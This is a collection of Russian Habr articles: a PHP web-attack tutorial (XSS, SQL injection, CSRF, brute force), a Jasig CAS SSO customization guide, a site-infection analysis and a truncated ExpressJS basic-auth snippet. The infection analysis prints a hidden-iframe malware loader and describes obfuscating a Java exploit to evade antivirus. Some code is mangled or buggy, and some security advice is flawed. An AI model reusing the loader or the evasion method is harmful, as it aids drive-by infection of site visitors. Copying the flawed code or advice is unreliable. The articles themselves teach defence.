Окей, первый тип атак — XSS. Да, старый добрый XSS, о котором слышал каждый. XSS (Cross Site Scripting) — это тип атак, который нацелен на посетителей сайта. Как это происходит: через поле для ввода злоумышленник пишет вредоносный код, который попадает в базу данных и делает свою работу. Обычно таким способом у пользователей крадут cookie файлы, что позволяет входить в их аккаунты без пароля и логина.
Мы же реализуем более безобидный пример.
Наш разработчик сделал простую форму для добавления комментариев:
**Файл index.php**
```
php
$opt = [
PDO::ATTR_ERRMODE = PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
];
$pdo = new PDO("mysql:host=localhost;dbname=".$db,$user,$pass,$opt);
$pdo->exec("SET CHARSET utf8");
$query = $pdo->prepare("SELECT * FROM `comments`");
$query->execute();
$comments = $query->fetchAll();
if ($_POST) {
$username = trim($_POST['name']);
$comment = trim($_POST['comment']);
$query = $pdo->prepare("INSERT INTO `comments` (`username`,`message`) VALUES ('$username', '$comment')");
$query->execute();
if ($query) {
echo 'Комментарий добавлен!';
header("Location: index.php");
} else {
echo 'Произошла ошибка!';
}
}
?>
XSS
Комментарии
php
if ($comments):
foreach ($comments as $comment):?
php echo $comment['username'];?
php echo $comment['message'];?
php endforeach;?
php else:?
Нет комментариев
php endif;?
```
Код весьма прост и не нуждается в объяснениях.
Есть злоумышленник — Джон. Джону стало скучно и он наткнулся на сайт нашего разработчика.
Джон пишет в форму такое сообщение:
```
document.body.style.backgroundColor = "#000";
```
И теперь у всех пользователей сайта черный фон. Джон доволен, а разработчик получил опыт и выговор.
Что вообще произошло?
Джон добавил комментарий с JavaScript кодом. При выводе данных на страницу, текстовый комментарий преобразовывается в html код. Html код, увидев использование тега script, добавил его в разметку, а интерпретатор уже выполнил JavaScript код. То есть Джон просто добавил свой кусок js кода к имеющемуся коду сайта.
Как будем исправлять?
Чтобы исправить это недоразумение, была создана функция htmlspecialcars. Суть ее работы в том, что она заменяет символы типа кавычек и скобок на спец символы. Например, символ "<" будет заменён на соответствующий ему символьный код. С помощью этой функции мы обрабатываем данные из формы и теперь js код Джона уже не может причинить вред нашему сайту. Разумеется, если это единственная форма на сайте.
Изменения в коде будут выглядеть так:
**Файл index.php**
```
php
if ($_POST) {
$username = htmlspecialchars(trim($_POST['name']));
$comment = htmlspecialchars(trim($_POST['comment']));
///
}
</code
```
### SQL Инъекция
Еще один из самых распространенных типов атак, о котором уже стали забывать. Забывают потому что появились подготовленные запросы и фреймворки.
Как раз о подготовленных запросах мы и поговорим.
В чем суть атаки: злоумышленник вводит в поле для ввода часть SQL запроса и производит отправку формы. Во время выполнения запроса, полученные данные добавляются в базу данных. Но так как в тексте находится код, то при добавлении записей он модифицирует логику работы нашего скрипта.
Окей, смоделируем ситуацию. Наш разработчик защитил форму от XSS атак. А Джон продолжает использовать свои знания, показывая на недостатки горе-разработчику.
То есть мы будем продолжать работать все с той же формой для добавления комментариев.
Внесем несколько изменений:
1) Предмодерация комментариев.
Суть в том, что на странице будут отображаться лишь те комментарии, которые одобрил модератор. Предмодерацию реализуем в простейшем виде, дабы не отвлекаться от основной части статьи.
Для реализации задумки добавим в таблицу с комментариями поле «is\_moderate», которое будет принимать два значения — «1»(отображаем комментарий) или «0»(не отображаем). По умолчанию, разумеется, «0».
2) Изменим запрос.
Это нужно для большей наглядности. Пусть запрос для добавления комментариев будет выглядеть так:
```
"INSERT INTO `comments` SET `username`='$username', `message`='$comment'"
```
Сейчас код работы формы выглядит следующим образом:
**Файл index.php**
```
php
$opt = [
PDO::ATTR_ERRMODE = PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
];
$pdo = new PDO("mysql:host=localhost;dbname=".$db,$user,$pass,$opt);
$pdo->exec("SET CHARSET utf8");
$query = $pdo->prepare("SELECT * FROM `comments` WHERE `is_moderate`='1'");
$query->execute();
$comments = $query->fetchAll();
if ($_POST) {
$username = htmlspecialchars(trim($_POST['name']));
$comment = htmlspecialchars(trim($_POST['comment']));
$query = $pdo->prepare("INSERT INTO `comments` SET `username`='$username', `message`='$comment'");
$query->execute();
if ($query) {
echo 'Комментарий добавлен!';
} else {
echo 'Произошла ошибка!';
}
}
?>
```
Окей, на сайт заходит Джон и, увидев, что комментарии начали проходить модерацию, решил поиздеваться над разработчиком. Тем более, что XSS атаки форма теперь успешно отражает и возможности повеселиться Джона уже лишили. Он оставляет комментарий такого типа: " LOL', is\_moderate ='1 " и обходит модерацию.
Почему?
При подстановке комментария Джона в наш запрос происходит разрыв кавычки. То есть, как было сказано выше, Джон получил возможность выполнить произвольный SQL код.
При исполнении запроса с комментарием Джона запрос выглядит следующим образом:
```
"INSERT INTO `comments` SET `username`='John', `message`='LOL', `is_moderate`='1'"
```
При чем SQL-Инъекцию можно реализовать не только при отправке формы. Это так же может происходить и при получении записей по их идентификатору, обработке формы поиска и прочих не столь очевидных ситуациях.
Как исправить?
Метод решения проблемы известен уже достаточно давно — подготовленные запросы. Подготовленные запросы — это запросы, которые проходят специальную обработку перед выполнением. Обработка заключается в экранировании дополнительных кавычек. Должно быть вы слышали о такой функции. В PHP она реализована так: " \' ".
Наиболее популярным решением является PDO. PDO — это интерфейс для работы с базой данных. При чем достаточно удобный интерфейс. Только пользоваться им нужно грамотно.
PDO предоставляет возможность использования масок и плейсхолдеров для реализации подготовленных запросов.
Тогда наш запрос при использовании масок будет выглядеть следующим образом:
**Файл index.php**
```
php
$query = $pdo-prepare("INSERT INTO `comments` SET `username`=:username, `message`=:comment");
$params = ['username' => $username,'comment' => $comment];
$query->execute($params);
```
А при использовании плейсхолдеров так:
**Файл index.php**
```
php
$query = $pdo-prepare("INSERT INTO `comments` SET `username`=?, `message`=?");
$params = [$username,$comment];
$query->execute($params);
```
Теперь атака Джона перестает быть актуальной. По крайней мере для данной формы.
Кстати, реализованная нами модерация, даже в таком виде уже защищает еще от одного типа атак — SPAM. Все мы о нем слышали. SPAM — это рассылка каких-либо сообщений, в которых с помощью знаний социальной инженерии злоумышленники производят свои атаки. Теперь же единственный, кто подвергнется атаке — модератор. Да и то, если он не столь глуп, то либо удалит мусор из базы данных, либо, если ленивый, отклонит публикацию и все.
### CSRF атака
CSRF — Cross-Site Request Forgery. Опасен тем, что о нем мало кто знает. Хотя и сделать это достаточно просто.
Как происходит: злоумышленник с другого сайта подделывает форму и заставляет жертву перейти по этой форме. То есть происходит отправка POST запроса. Таким образом подделывается HTTP запрос и на сайте жертвы производится вредоносное действие.
Например, злоумышленник мог бы вашему отправить другу письмо в вк от вашего имени, а вы об этом и знать не будете.
Звучит слегка запутано. Предлагаю рассмотреть на практике.
Наш разработчик сделал форму, он молодец. Она уже умеет защищаться от XSS, SQL инъекций и держит напор Спама. Она выглядит так:
**Файл index.php на сайте разработчика**
```
CSRF
```
Но Джон не так прост. Он получает код формы(просто из исходного кода сайта в браузере) и добавляет форму себе на сайт.
**Файл index.php на сайте Джона**
```
CSRF
form input[type=submit]{
padding: 15px;
font-size: 20px;
color: #fff;
background: #f00;
cursor: pointer;
}
```
Обратите внимание, что на сайте Джона место обработки формы — это файл с сайта нашего разработчика. А значит теперь любой пользователь, который кликнет по кнопке, будет отправлять не хорошие комментарии.
Это и есть CSRF атака. В простейшем варианте, разумеется.
У разработчика опять проблемы…
Как исправить уязвимость?
В один прекрасный момент разработчик нагуглит что такое csrf и логика защиты будет заключаться в следующем: для защиты нужно создать csrf токен(набор букв и цифр) и повесить на форму. Так же нужно закрепить этот же токен за пользователем(например, через сессию). А после, при обработке формы, сравнивать эти токены. Если совпали — можем добавлять комментарий.
Реализуем это:
**Файл index.php на сайте разработчика**
```
php
session_start();
$token = '';
if (function_exists('mcrypt_create_iv')) {
$token = bin2hex(mcrypt_create_iv(32, MCRYPT_DEV_URANDOM));
} else {
$token = bin2hex(openssl_random_pseudo_bytes(32));
}
$_SESSION['token'] = $token;
?
...
```
**Файл action.php**
```
php
session_start();
if ($_POST) {
if ($_SESSION['token'] == $_POST['csrf_token']) {
echo 'Комментарий добавлен!';
} else {
echo 'Ошибка!';
}
}
</code
```
### Brute Force и Publick Passwords
Пожалуй самый известный тип атаки. Он нем слышал едва ли не каждый первый из фильмов про хакеров и им подобных.
В чем суть: есть форма для авторизации в панель администратора сайта. Нужен логин и пароль, которые Джон не знает. Но у него есть файл с популярными именами пользователей и паролями. И он радостно бежит опробовать их на наш сайт.
Что разработчик может противопоставить? Например, ограничение на количество попыток авторизации в определенный период времени.
Пусть первоначальный вариант формы авторизации выглядит так:
**Файл index.php**
```
php
$opt = [PDO::ATTR_ERRMODE = PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC];
$pdo = new PDO("mysql:host=localhost;dbname=".$db,$user,$pass,$opt);
$pdo->exec("SET CHARSET utf8");
if (isset($_POST['autorizе'])) {
$username = htmlspecialchars(trim($_POST['login']));
$password = htmlspecialchars(trim($_POST['password']));
$query = $pdo->prepare("SELECT * FROM `users` WHERE `username`=:username AND `password`=:password");
$query->execute(['username' => $username,'password' => $password]);
$find_user = $query->fetchAll();
if ($find_user) {
echo 'Пользователь найден!';
} else {
echo 'Пользователь не найден!';
}
}
?>
Brute Force и Public Passwords
```
Как будем исправлять: самый простой вариант, как уже было сказано, это ограничение количества попыток авторизации за промежуток времени.
Для этого мы при попытке авторизации будем добавлять пользователю текущее значение времени в куки. И теперь, при попытке авторизации, будем смотреть, чтобы пользователь мог авторизоваться не чаще чем 1 раз в 5 секунд. При чем, при не правильном вводе пароля или логина, мы будем увеличивать таймаут до следующей попытки на 5 секунд.
**Файл index.php**
```
php
$count_next_minit = $_COOKIE['count_try'] ? $_COOKIE['count_try'] : 1;
$seconds_to_new_try = 5;
$opt = [PDO::ATTR_ERRMODE = PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC];
$pdo = new PDO("mysql:host=localhost;dbname=".$db,$user,$pass,$opt);
$pdo->exec("SET CHARSET utf8");
if (isset($_POST['autorize'])) {
if ($_COOKIE['last_try']) {
if ($_COOKIE['last_try'] < time() - $seconds_to_new_try * $count_next_minit) {
$username = htmlspecialchars(trim($_POST['login']));
$password = htmlspecialchars(trim($_POST['password']));
$query = $pdo->prepare("SELECT * FROM `users` WHERE `username`=:username AND `password`=:password");
$query->execute(['username'=>$username,'password'=>$password]);
$find_user = $query->fetchAll();
setcookie('last_try', time(), time() + 3600);
if ($_COOKIE['count_try']) {
$old_value = (int)$_COOKIE['count_try'];
setcookie('count_try', $old_value + 1, time() + 3600);
} else {
setcookie('count_try', 1, time() + 3600);
}
if ($find_user) {
var_dump('Пользователь найден!');
} else {
var_dump('Пользователь не найден!');
}
}else{
var_dump('Слишком часто вводишь пароль! Следующая попытка через ' . $seconds_to_new_try * $count_next_minit . ' секунд');
}
}else{
setcookie('last_try', time(), time() + 3600);
}
}
?>
```
### Backtrace
Backtrace — это способ атаки через выводимые ошибки системы. Это и MySQL, и PHP.
Например, Джон ввел не корректный url и ему вывели ошибку о том, что в базе данных нет записи с таким id(если получение записи происходит через id из адресной строки — site.ru/article?id=12). Существуют даже так называемые «дорки» — определенные шаблоны адресов сайтов, при заходе на которые пользователь видит ошибки. А это открывает для Джона возможность с помощью бота пройтись по этому списку адресов и попробовать найти на вашем сайте данную уязвимость.
Как исправить? В данном случае обойдемся без примеров, ибо проблема решается просто с помощью закрытия вывода ошибок. Обычно это реализовывает хостинг, предоставляя вам в панели администратора записывать логи в отдельный файл, но не лишним будет и самому ограничить вывод ошибок.
Это можно сделать с помощью функции error\_reporting()
Среди аргументов, которые она принимает, находятся: E\_ERROR, E\_WARNING, E\_PARSE, E\_NOTICE, E\_ALL. Названия говорят сами за себя.
Например, если использовать error\_reporting(E\_NOTICE), то будут скрыты все ошибки, кроме ошибок типа Notice(предупреждения, например, о том, что отсутствуют данные в массиве $\_POST).
Чтобы отключить вывод всех ошибок(что нам, собственно и нужно), нужно использовать эту функцию следующим образом: error\_reporting(0)
### Логические ошибки
Логические ошибки — одни из самых страшных. Потому что это ошибки по невнимательности. Они всплывают неожиданно и, порой, мы даже не догадываемся, где находится корень проблемы. Это ошибки логики работы сайта.
Ну, например, вы могли забыть поставить проверку на наличие данных авторизации в сессии и куках для одной из страниц панели администратора. А значит открыли доступ к данной странице для любого пользователя.
В данном случае вас спасет лишь одно — во время написания кода программы думайте о том, как его можно взломать.
### DDOS
DOS — тип атак на технику, в частности вычислительную машину. Атака нацелена на выведение машины из строя за счет перегрузки. DDOS отличается лишь тем, что в атаке участвует большее количество компьютеров для атаки.
То есть Джон зовет своих друзей и они дружно начинают отправлять запросы на сайт. При чем тут как нельзя будет уместен ботнет. Ботнет — это множество зараженных компьютеров, особенность в том, что злоумышленник может в какой-то мере управлять их работой(запускать процессы и т.д.). Они отправляют так много запросов, что сервер не выдерживает нагрузку и в лучшем случае начинает очень медленно работать, либо отказывает на не определенное количество времени.
Защиту от таких атак предоставляют либо сами хостинги, либо специальные сервисы по типу Cloudflare.
Как работает защита: сервис Cloudflare предоставляет вам свои DNS сервера, через которые будет проходить трафик. Там он фильтруется, проходя через алгоритмы, известные лишь владельцам и разработчикам сервиса. А после уже пользователь попадает к вам на сайт. Да, конечно, присутствует работа сервера, генерация страницы и все прочее, но мы сейчас не об этом.
К тому же, говоря о DDOS, нельзя не упомянуть про блокировку IP адресов, которую Cloudflare так же предоставляет.
Да, все это не даст 100% гарантии защиты, однако в разы повысит шансы вашего сайта остаться на плаву в момент атаки.
### MITM
Man In The Middle — это тип атаки, когда злоумышленник перехватывает ваши пакеты и подменяет их. Все мы слышали, что данные по сети передаются пакетами. Так вот, при использовании протокола http, данные передаются в обычном, не зашифрованном виде.
Например, вы пишите другу «привет», а он получает «пришли мне деньги, вот кошелек».
Именно для решения этой проблемы и был создан протокол https. При его использовании данные будут зашифровываться и Джон не сможет ничего сделать с полученным трафиком.
А чтобы получить https протокол для сайта, нужно получить SSL сертификат. Ну или TLS. Вообще TLS по сути является приемником SSL, потому что основан на SSL 3.0. В их работе нет существенных отличий.
SSL сертификат предоставляет тот же Cloudflare, при чем бесплатно.
### Backdoor
Еще немного теории. Ибо этот тип атаки может быть реализован множеством способов и нужно лишь уловить суть. Backdoor — это тип скрытой атаки, при котором скрипт сам делает что-то в «фоне». Чаще всего это плагины или темы WordPress, скачанные с торрента. Сам плагин/тема будет вполне адекватно работать, но определенный кусок скрипта, дописанный в код плагина/темы, будет в тайне делать что-то. Тот же SPAM, например. Это и есть причина всех предостережений о нежелательности скачивания файлов с торрента.
В заключение
------------
Да, разумеется, это далеко не весь спектр атак. Но эти знания уже повысят безопасность ваших проектов | https://habr.com/ru/post/451420/ | null | ru | null |
# SSO используя Jasig CAS Server 4.0.0. Часть 2
Мы уже подняли сервер Jasig CAS теперь пора немного его кастомизировать. Зачем это нужно? Сейчас ми авторизируемся используя статического пользователя, но мы это исправим и сделаем возможность получать пользователя из внешних систем или БД.
Хочу напомнить что ранее уже мы расматривали как сконфигурировать и поднять Jasig CAS Server 4.0.0 в посте [SSO используя Jasig CAS Server 4.0.0. Часть 1](http://habrahabr.ru/post/229375/)
Теперь мы немного кастомизируем систему входа, для для того чтобы мы могли получать нашего **User** с внешних систем либо БД.
#### Создание структуры и DTO
Давайте теперь создадим в своем проекте в папке **src/** следующую структуру проекта:
теперь в пакете dto создадим **CASUser** он нужен для удобства управления нашим пользователем.
Вот содержимое CASUser:
```
package com.devcolibri.sso.dto;
import java.io.Serializable;
public class CASUser implements Serializable {
private String username;
private String password;
public CASUser(String username, String password) {
this.username = username;
this.password = password;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
}
```
Тепрь мы пожем использовать этот объект для манипуляции пользователем в системе.
#### Создание сервиса
Теперь в пакете service нам нужно создать интерфейс CASUserService со следующим содержимым:
```
package com.devcolibri.sso.service;
import com.devcolibri.sso.dto.CASUser;
import org.jasig.cas.authentication.UsernamePasswordCredential;
public interface CASUserService {
CASUser getByCredential(UsernamePasswordCredential credential);
}
```
Как видите в этом интерфейсе есть всего один метод, который мы должны реализовать, этот метод необходим для получения пользователя с внешней системы либо БД.
Теперь создаем в том же пакете класс который реализует этот интерфейс, я назвал его **CASUserServiceImpl** так как мы используем Spring Framework нам нужен интерфейс для [DI](http://ru.wikipedia.org/wiki/%D0%92%D0%BD%D0%B5%D0%B4%D1%80%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B7%D0%B0%D0%B2%D0%B8%D1%81%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8).
Вот реализация нашего интерфейса, а именно класс CASUserServiceImpl:
```
package com.devcolibri.sso.service;
import com.devcolibri.sso.dto.CASUser;
import org.jasig.cas.authentication.UsernamePasswordCredential;
import org.springframework.stereotype.Service;
@Service
public class CASUserServiceImpl implements CASUserService {
@Override
public CASUser getByCredential(UsernamePasswordCredential credential) {
String usernameMock = "test";
String passwordMock = "test";
CASUser user = null;
if(credential.getUsername().equals(usernameMock) && credential.getPassword().equals(passwordMock)) {
user = new CASUser(usernameMock, passwordMock);
}
return user;
}
}
```
Я сделал получение пользователя в виде mock данных, но в следующих частях мы поменяем эту реализацию.
Пока можно представить что эти данyые получаются например с БД и они валидные, но в будущем мы это поменяем.
Теперь для логина мы будем использовать логин: **test** и пароль: **test**.
#### Создание кастомного Handler
Пришло время кастомизации CAS 4. Кастомизировать мы будем стандартный способ аунтентификации на свой.
Для этого в пакете handler создаем класс **ServerUsernamePasswordAuthenticationHandler** наследуемся от **AbstractUsernamePasswordAuthenticationHandler** и реализуем метод **authenticateUsernamePasswordInternal()**:
```
package com.devcolibri.sso.handler;
import com.devcolibri.sso.dto.CASUser;
import com.devcolibri.sso.service.CASUserService;
import org.jasig.cas.authentication.HandlerResult;
import org.jasig.cas.authentication.PreventedException;
import org.jasig.cas.authentication.UsernamePasswordCredential;
import org.jasig.cas.authentication.handler.support.AbstractUsernamePasswordAuthenticationHandler;
import org.jasig.cas.authentication.principal.SimplePrincipal;
import org.springframework.beans.factory.annotation.Autowired;
import javax.security.auth.login.AccountNotFoundException;
import java.security.GeneralSecurityException;
public class ServerUsernamePasswordAuthenticationHandler extends AbstractUsernamePasswordAuthenticationHandler {
private CASUserService casUserService;
@Override
protected HandlerResult authenticateUsernamePasswordInternal(UsernamePasswordCredential credential)
throws GeneralSecurityException, PreventedException {
casUserService = new CASUserServiceImpl();
CASUser user = casUserService.getByCredential(credential);
if(credential.getUsername().equals(user.getUsername()) && credential.getPassword().equals(user.getPassword())) {
user = new CASUser(user.getUsername(), user.getPassword());
}
if (user == null) {
throw new AccountNotFoundException(user.getUsername() + " not found.");
}
return createHandlerResult(credential, new SimplePrincipal(user.getUsername()), null);
}
}
```
Таким образом, мы проверяем на валидность полученные данные от пользователя с формы и данные, полученные с сервиса, в случае если логин и пароль совпадает с теми, что вернул сервис, пользователь будет аутентифицирован.
#### Финальное конфигурирование
Теперь осталось скопировать с *overlays/org.jasig.cas.cas-server-webapp-4.0.0/WEB-INF/**deployerConfigContext.xml*** файл и положить его себе в проект как показанно на скрине ниже:
Теперь заходи в этот файл и ищем 96 строку или TODO: *TODO: Replace this component with one suitable for your enviroment.*
Это стандартный handler со статическим логином и паролем.
Теперь удаляем bean c id=«primaryAuthenticationHandler»:
```
```
И на его место описываем наш bean handler:
```
```
Полная структура проекта:
После этого пересобираем проект, деплоим и логинимся под пользователем **test**.
Вы должны, залогинится. В следующей части мы напишем клиент для нашего сервера.
**Github**: <https://github.com/alexbarchuk/local-cas> | https://habr.com/ru/post/226839/ | null | ru | null |
# Инфекция на сайте — история на примере
###### Инъекция вредоносного кода в WordPress ([Источник картинки](http://girmacea.com/blog/issues-fix/wordpress-virus-and-how-to-remove-it))
Эта история начинается между 28.03.2013 и 2.04.2013. В этот промежуток времени сайт \*\*\*\*\*\*.ru был инфицирован. Это хорошо можно отследить по archive.org. В коде страниц появляется следующая строчка.
```
```
Если в то время открыть этот css, то там и начинается путь к другой стороне интернета.
```
body {
behavior:url(http://******.ru/wp-content/wp-content/themes.sct);
}
```
Вот почти неизмененный файл themes.sct.
```
/*
* Sizzle CSS Selector Engine - v0.9.3
* Copyright 2009, The Dojo Foundation
* Released under the MIT, BSD, and GPL Licenses.
* More information: http://sizzlejs.com/
*/
/* This file create by Cms. Don't delete it!
*/
xchk='\_';xurl='\x08//goo.gl/1JvYY';(xifr=document.createElement('iframe')).style.display='none';doсument.body.appendChild(xifr);with(xifr){id='xfid';addBehavior('#default#userData');load(xchk);if(!getAttribute(xchk)){setAttribute(xchk,'\_');save(xchk);expires=(new Date((new Date()).getTime()+6e8)).toUTCString();src=xurl;}}
```
Гугление по этому “чуду”, по крайней мере у меня, ничего не дало. При копировании кода в \*.htc файл, срабатывание не наблюдалось. Вполне возможно, что это 0-day. Работоспособность проверена на IE7-8. Ссылка goo.gl/1JvYY ведет на justhaveown.myvnc.com/prok.php. К середине мая ссылка была уже мертва. Но у атакующего было не менее 45 дней и аудитория в 9000 уникальных посетителей в день, для выполнения задуманного. Кроме того, есть вероятность использования фильтра по провайдеру, стране и т.п.
Некоторая информация по загружаемому модулю нашлась [здесь](https://lists.emergingthreats.net/pipermail/emerging-sigs/2013-May/021953.html), если недоступна, то [кэш](http://webcache.googleusercontent.com/search?q=cache:oroNq0y1L3IJ:https://lists.emergingthreats.net/pipermail/emerging-sigs/2013-May/021953.html+xchk%3D'_'&cd=1&hl=ru&ct=clnk&gl=ru). В результате был получен файл BBfrtY.jar, который по классификации Microsoft оказался Exploit:Java/CVE-2013-0422. Если верить [securelist.com](http://www.securelist.com/ru/descriptions/35450176/Exploit.Java.CVE-2013-0422.b), то начало эпидемии было еще в середине января. При этом признаки заражения сайта вирусом трехмесячной давности, не были зарегистрированы администрацией сайта минимум полтора месяца. Под признаками, я понимаю наличие инородного файла themes.sct в директории сайта. Если верить archive.org, то окончательно следы пребывания вируса были убраны после первых чисел августа. Точнее сказать трудно, так как в archive.org нет снапшотов после этой даты.
К сожалению, это очень типичная история развития событий. Если даже крупные порталы могут [хостить](http://www.securitylab.ru/news/433098.php) вирус несколько часов или даже дней. Автор лично наблюдал такую вирусную активность в начале лета, на сайте новостного СМИ, имеющего посещаемость 300-400 тысяч пользователей в сутки и портале крупной радиостанции со 100 тысячами пользователей. Мелкие же сайты могут вообще не узнать, что у них что-то было.
Для тестирования, насколько реальна и повторяема подобная ситуация сейчас, был выбран CVE-2012-4681 и код [отсюда](http://www.pvv.ntnu.no/~josteitv/all-your-jres-are-belong-to-us.com/CVE-2012-4681/). Также был взят ProGuard 4.10 и файлик themes.sct.
Результаты тестирования на virustotal:
* [themes.sct](https://www.virustotal.com/en/file/a0f2abd2d503b9fe7a4c5f36a27f0322bbb32ee6f225caf355af5d1cb9b62d93/analysis/1379190431/) — 0 / 47
* [CVE-2012-4681.jar](https://www.virustotal.com/en/file/df743d4b8653ecec72ca786854f7da473e7b0ff293aebe18461d4c7e90962180/analysis/1379190722/) — 17 / 47
* [CVE-2012-4681.jar после обфускации](https://www.virustotal.com/en/file/6daa43da46675af0538c94eebf242d224765e952186e054136250f934054f21d/analysis/1379191042/) — 0 / 47
То есть даже сейчас, спустя полгода после публикации PoC, только 36% антивирусов считают действующий java эксплойт угрозой. А уж после обфускации этот показатель падает до нуля. Кстати, у меня есть большие сомнения, что каким-нибудь упаковщиком/протектором удастся добиться таких результатов для PE-файлов. Последствия десятилетий борьбы дают о себе знать.
Получается, что с одной стороны идет недостаточный аудит целостности файлов, БД или надежности паролей, а иногда просто: “[Спасибо, в понедельник разберёмся](http://habrahabr.ru/post/93631/#comment_2842636)”. С другой, недостаточная готовность “щита” к новым угрозам.
Все ссылки и файлы, используемые в статье, могут быть предоставлены личными сообщениями или если сообщество сочтет их публикацию уместной. | https://habr.com/ru/post/193882/ | null | ru | null |
# Продолжаем прокачивать Ansible
Поводом для этой статьи послужил [пост](https://t.me/pro_ansible/179191) в чате [@pro\_ansible:](/users/pro_ansible:)
> Vladislav ? Shishkov, [17.02.21 20:59]
> Господа, есть два вопроса, касаются кастомной долгой операции, например, бекапа:
> 1. Можно ли через ансибл прикрутить прогрессбар выполнения кастомного баша? (если через плагин, то пните в какой-нибудь пример или документацию плиз)
> 2. Вроде хочется для этого баша написать плагин, но встает вопрос, как быть и как решать моменты выполнения, которые идемпотентны?
>
>
Беглый поиск по задворкам памяти ничего подходящего не подсказал. Тем не менее, я точно вспомнил, что код Ansible легко читаемый, и «искаропки» поддерживает расширение как плагинами, так и обычными Python-модулями. А раз так, то ничего не мешает в очередной раз раздвинуть границы возможного. Hold my beer!...
Понятно, что стандартный Ansible уже умеет делать оба шага, только вот полученный «выхлоп» собирается в единое целое и передаётся на управляющий хост уже по завершению процесса, а мы хотим это сделать в реальном времени. Следовательно, можно как минимум посмотреть на существующую реализацию, а как максимум - каким-то образом переиспользовать существующий код.
Исходный вопрос можно свести к двум простейшим шагам:
1. Захватить stdout команды на целевом хосте
2. Передать его на управляющий хост.
Передаём данные на управляющий хост
-----------------------------------
Предлагаю начать «с конца»: с организации дополнительного канала передачи на управляющий хост. Решение этого вопроса выглядит достаточно очевидным: вспоминаем, что Ansible работает поверх ssh, и используем функцию обратного проброса порта:
Код на Python
```
# добавляем куда-нибудь сюда:
# https://github.com/ansible/ansible/blob/5078a0baa26e0eb715e86c93ec32af6bc4022e45/lib/ansible/plugins/connection/ssh.py#L662
self._add_args(
b_command,
(b"-R", b"127.0.0.1:33333:" + to_bytes(self._play_context.remote_addr, errors='surrogate_or_strict', nonstring='simplerepr') + b":33335"),
u"ANSIBLE_STREAMING/streaming set"
)
```
Как это работает? При сборке аргументов командной строки для установления ssh-соединения эта конструкция предоставит нам на целевом хосте порт 33333 по адресу 127.0.0.1, который будет туннелировать входящие соединения на контроллер - прямиком на порт 33335.
Для простоты используем `netcat` (ну правда, ну что за статья без котиков?): `nc -lk 33335`.
В этот момент, кстати, уже можно запустить Ansible и проверить, что туннель работает так, как следует: хотя пока по нему ничего и не передаётся, мы уже можем на целевом хосте зайти в консоль и выполнить `nc 127.0.0.1 33333`, введя какую-нибудь фразу и увидев её как результат работы команды выше.
Перехватываем stdout
--------------------
Полдела сделано - идём дальше. Мы хотим перехватить stdout какой-то команды - по логике работы Ansible нам подойдёт модуль «[shell](https://github.com/ansible/ansible/blob/devel/lib/ansible/modules/shell.py)». Забавной, что он оказался пустышкой - в нём ни строчки кода, кроме документации и примеров, зато находим в нём отсылку к модулю [command](https://github.com/ansible/ansible/blob/devel/lib/ansible/modules/command.py). С ним всё оказалось хорошо, кроме того факта, что нужная функция в нём напрямую не описана, хотя и [использована](https://github.com/ansible/ansible/blob/5078a0baa26e0eb715e86c93ec32af6bc4022e45/lib/ansible/modules/command.py#L346). Но это уже было почти попадание «в яблочко», потому что в итоге она нашлась [в другом файле](https://github.com/ansible/ansible/blob/5078a0baa26e0eb715e86c93ec32af6bc4022e45/lib/ansible/module_utils/basic.py#L2226).
Под мысленное «просто добавь воды» просто добавляем щепотку своего кода:
Опять код
```
# в начале basic.py, рядом с прочими import'ами
import socket
# в функции run_command - где-нибудь тут:
# https://github.com/ansible/ansible/blob/5078a0baa26e0eb715e86c93ec32af6bc4022e45/lib/ansible/module_utils/basic.py#L2447
clientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
clientSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
clientSocket.connect(("127.0.0.1",33333));
# в функции run_command - где-нибудь тут:
# https://github.com/ansible/ansible/blob/5078a0baa26e0eb715e86c93ec32af6bc4022e45/lib/ansible/module_utils/basic.py#L2455
clientSocket.send(b_chunk);
# в функции run_command - где-нибудь тут
# https://github.com/ansible/ansible/blob/5078a0baa26e0eb715e86c93ec32af6bc4022e45/lib/ansible/module_utils/basic.py#L2481
clientSocket.close()
```
Собираем воедино и запускаем
----------------------------
Осталось сделать что? Правильно, определиться со способом подключения изменённых модулей в стоковый Ansible. На всякий случай напоминаю: мы поправили один connection plugin, и один модуль из стандартной библиотеки Ansible. Новичкам в этом деле могу рекомендовать статью хабраюзера [chemtech](https://habr.com/ru/users/chemtech/) с [расшифровкой моего доклада](https://habr.com/ru/post/494738/) на «Стачке-2019» (там как раз в том числе объясняется, какие Python-модули куда складывать), ну а опытным бойцам эти пояснения вроде и не нужны :-)
Итак, время «Ч». Результат в виде статичной картинки не очень показателен, поэтому я настроил tmux и запустил запись [скринкаста](https://asciinema.org/a/op5weQeJvgFJFYjZx0qHP3g2C).
Для внимательных зрителей скринкастаВ анимации можете увидеть два полезных побочных эффекта:
* Теперь мы видим stdout всех не-Python процессов, которые запускаются Ansible'ом на целевом хосте - например, тех, что запускаются при сборе фактов;
* Настройки переиспользования ssh-соединений из [другой моей статьи](https://habr.com/ru/post/516028/) позволяют получать этот самый stdout от удалённой команды уже *после отключения Ansible от хоста*.
Хотите ко мне на тренинг по Ansible?Раз уж вы здесь - значит, вам как минимум интересно то, что я пишу об Ansible. Так вот, у меня есть опыт ведения такого тренинга внутри компании для коллег.
В прошедшем году я всерьёз начал задумываться о том, чтобы начать вести свой собственный тренинг по этому инструменту для всех желающих, поэтому предлагаю пройти опрос. | https://habr.com/ru/post/543598/ | null | ru | null |
# Как работает basic-авторизация в ExpressJS
В Express.JS есть встроенный middleware для авторизации. Если очень хочется заблокировать доступ к приложению — достаточно всего лишь добавить одну строчку в сетап express-приложения:
```
app.use(express.basicAuth('username', 'password'));
```
Так же middleware поддерживает альтернативный вариант — с коллбэком:
```
app.use(express.basicAuth(function(user, pass, next) {
